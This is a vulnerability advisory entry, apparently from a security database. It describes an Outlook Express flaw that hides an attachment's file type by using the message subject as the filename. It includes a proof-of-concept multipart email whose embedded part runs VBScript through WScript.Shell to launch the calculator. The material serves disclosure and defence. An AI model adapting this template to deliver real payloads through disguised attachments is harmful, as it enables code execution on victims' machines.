Microsoft Outlook Express 4.x/5.x/6.0 Attachment Processing File Extension Obfuscation Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft Outlook Express Attachment Processing Vulnerabilit


                                                source: http://www.securityfocus.com/bid/13837/info

Microsoft Outlook Express is prone to an attachment file extension obfuscation vulnerability that may present a risk under certain configurations.

The issue manifests due to Microsoft Outlook Express behavior while handling an &#39;EML&#39; email attachment. If the email attachment does not have a filename, the subject of the attached email message is used as the filename.

Reports indicate that this may be leveraged to make the attached email message executable. It is possible to cause a default file handler to be invoked to process the attached email message. Potentially allowing for code execution.

This issue may lure a victim into a false sense of security and may result in inadvertent or unintentional execution of attacker-supplied code. 

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From:&#34;Benjamin Tobias Franz&#34;&#60;[email protected]&#62;
To:You
Subject:MSOE - Attachment Download Security Restriction Bypass
Date:Wed, 1 Jun 2005
Content-Type:multipart/mixed;boundary=&#34;btf&#34;

--btf
Content-Type: text/plain;

Open the attachment and you will see:
MS OE will not show the correct warning message (for software)
and not the type of the file.


Regards,

Benjamin Tobias Franz
Germany
--btf
Content-Type:message/rfc822
Content-Transfer-Encoding:quoted-printable

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btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtf
--&#62;
&#60;title&#62;YOU ARE VULNERABLE&#60;/title&#62;
&#60;script language=3Dvbscript&#62;set btf=3Dcreateobject(&#34;wscript.shell&#34;)=
:btf.run(&#34;calc&#34;)&#60;/script&#62;&#60;body style=3D&#34;background-color:red;font-si=
ze:40px;&#34;&#62;&#60;b&#62;YOU ARE VULNERABLE!!!&#60;/b&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;Regards,&#60;br&#62;&#60;br&#62;
Benjamin Tobias Franz&#60;br&#62;Germany&#60;/body&#62;
--btf--

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01 Jul 2014 00:00Current

6.7Medium risk

Vulners AI Score6.7